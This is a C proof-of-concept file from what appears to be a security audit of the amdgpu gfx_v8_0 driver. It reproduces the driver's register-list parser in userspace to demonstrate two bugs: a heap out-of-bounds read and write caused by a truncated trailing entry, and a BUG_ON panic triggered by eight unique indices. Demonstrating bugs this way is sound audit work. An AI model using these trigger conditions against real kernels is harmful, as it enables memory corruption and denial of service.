DF-3597 / poc_dfr3597.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 | /* * DF-3597 PoC: userspace logic replica of gfx_v8_0_parse_ind_reg_list() * (sys/dev/drm/amd/amdgpu/gfx_v8_0.c:3974-4022) proving the trailing-entry * out-of-bounds read AND write past a heap buffer whose size is the * firmware-controlled reg_list_format_size_bytes, plus the BUG_ON panic * on the 8th unique indirect index. * * The parser body below is a verbatim copy of the kernel code (only * BUG_ON() and printf are adapted; arithmetic and array accesses are * untouched). * * The kernel caller chain (unreachable on this virtio-only guest, proven * by source): gfx_v8_0_hw_init :4864 -> gfx_v8_0_rlc_resume :4176 -> * gfx_v8_0_init_pg :4127 (CZ/STONEY/POLARIS11/12/VEGAM) -> * gfx_v8_0_init_save_restore_list :4024 -> kmalloc(reg_list_format_size_bytes) * :4033 + memcpy :4037 -> gfx_v8_0_parse_ind_reg_list :4040. * * build: cc -O0 -Wall -o poc_dfr3597 poc_dfr3597.c * run: ./poc_dfr3597 (trailing-entry OOB mode) * ./poc_dfr3597 bugon (8-unique-index BUG_ON mode) */ #include <stdio.h> #include <stdlib.h> #include <string.h> static int bugon_fired = 0; #define BUG_ON(x) do { if (x) { bugon_fired++; \ printf(" [BUG_ON fired: kernel would PANIC here]\n"); } } while (0) /* ---- verbatim kernel parser (gfx_v8_0.c:3974-4022) ---- */ static void gfx_v8_0_parse_ind_reg_list(int *register_list_format, int ind_offset, int list_size, int *unique_indices, int *indices_count, int max_indices, int *ind_start_offsets, int *offset_count, int max_offset) { int indices; int new_entry = 1; for (; ind_offset < list_size; ind_offset++) { if (new_entry) { new_entry = 0; ind_start_offsets[*offset_count] = ind_offset; *offset_count = *offset_count + 1; BUG_ON(*offset_count >= max_offset); } if (register_list_format[ind_offset] == 0xFFFFFFFF) { new_entry = 1; continue; } ind_offset += 2; /* look for the matching indice */ for (indices = 0; indices < *indices_count; indices++) { if (unique_indices[indices] == register_list_format[ind_offset]) break; } if (indices >= *indices_count) { unique_indices[*indices_count] = register_list_format[ind_offset]; indices = *indices_count; *indices_count = *indices_count + 1; BUG_ON(*indices_count >= max_indices); } register_list_format[ind_offset] = indices; } } /* ---- end verbatim parser ---- */ /* allocation with canary guard: elem_count live elements + 4 canary ints */ #define CANARY 0xCAFECAFE #define RLC_FormatDirectRegListLength 14 /* gfx_v8_0.c:95 */ static int *alloc_guarded(int elem_count) { int *p = malloc((elem_count + 4) * sizeof(int)); for (int i = elem_count; i < elem_count + 4; i++) p[i] = CANARY; return p; } static int canary_hit(int *p, int elem_count, int *first_bad_idx) { for (int i = elem_count; i < elem_count + 4; i++) if (p[i] != CANARY) { *first_bad_idx = i; return 1; } return 0; } int main(int argc, char **argv) { int unique_indices[8] = {0,0,0,0,0,0,0,0}; int indices_count = 0; int indirect_start_offsets[10] = {0,0,0,0,0,0,0,0,0,0}; int offset_count = 0; int bad = -1; setvbuf(stdout, NULL, _IONBF, 0); if (argc > 1 && !strcmp(argv[1], "bugon")) { /* ---- mode 2: 8 distinct indirect indices -> BUG_ON ---- */ int n = RLC_FormatDirectRegListLength + 8 * 3; int *list = alloc_guarded(n); /* RLC_FormatDirectRegListLength = 14 (gfx_v8_0.c:95) skipped */ for (int i = 14; i < n; i += 3) { list[i] = 0xA0000 + i; /* addr */ list[i+1] = 0; list[i+2] = 0x90000 + i; /* unique index word */ } printf("mode=bugon: list_size=%d elems, 8 unique indirect indices\n", n); gfx_v8_0_parse_ind_reg_list(list, 14, n, unique_indices, &indices_count, 8, indirect_start_offsets, &offset_count, 10); printf("indices_count=%d bugon_fired=%d -> %s\n", indices_count, bugon_fired, bugon_fired ? "PANIC (BUG_ON) proven" : "no BUG_ON"); return bugon_fired ? 2 : 0; } /* ---- mode 1: truncated trailing entry -> OOB read+write ---- */ int n = RLC_FormatDirectRegListLength + 3 + 1; /* one entry + 1 word */ int *list = alloc_guarded(n); /* valid 3-word entry at 14..16 */ list[14] = 0xA0000; list[15] = 0; list[16] = 0x12345678; /* truncated entry: single last word, NOT the 0xFFFFFFFF terminator */ list[17] = 0xB0000; printf("mode=oob: buffer=%d live ints (%d bytes = reg_list_format_size_bytes)\n", n, n * 4); printf("last live word [%d] = 0x%x != 0xFFFFFFFF -> parser does ind_offset += 2\n", n - 1, list[n - 1]); printf("then READS register_list_format[%d] (4-8 bytes past end)\n", n + 1); printf("then WRITES register_list_format[%d] = indices (heap OOB WRITE)\n", n + 1); gfx_v8_0_parse_ind_reg_list(list, RLC_FormatDirectRegListLength, n, unique_indices, &indices_count, 8, indirect_start_offsets, &offset_count, 10); if (canary_hit(list, n, &bad)) { printf("RESULT: canary at live-index %d (byte +%d past allocation) " "CLOBBERED to 0x%x\n", bad, (bad - n) * 4, list[bad]); printf("HEAP OOB WRITE CONFIRMED (value written = small index int, " "offset %d bytes past end)\n", (bad - n) * 4); return 1; } printf("RESULT: canary intact - no OOB (unexpected)\n"); return 0; } |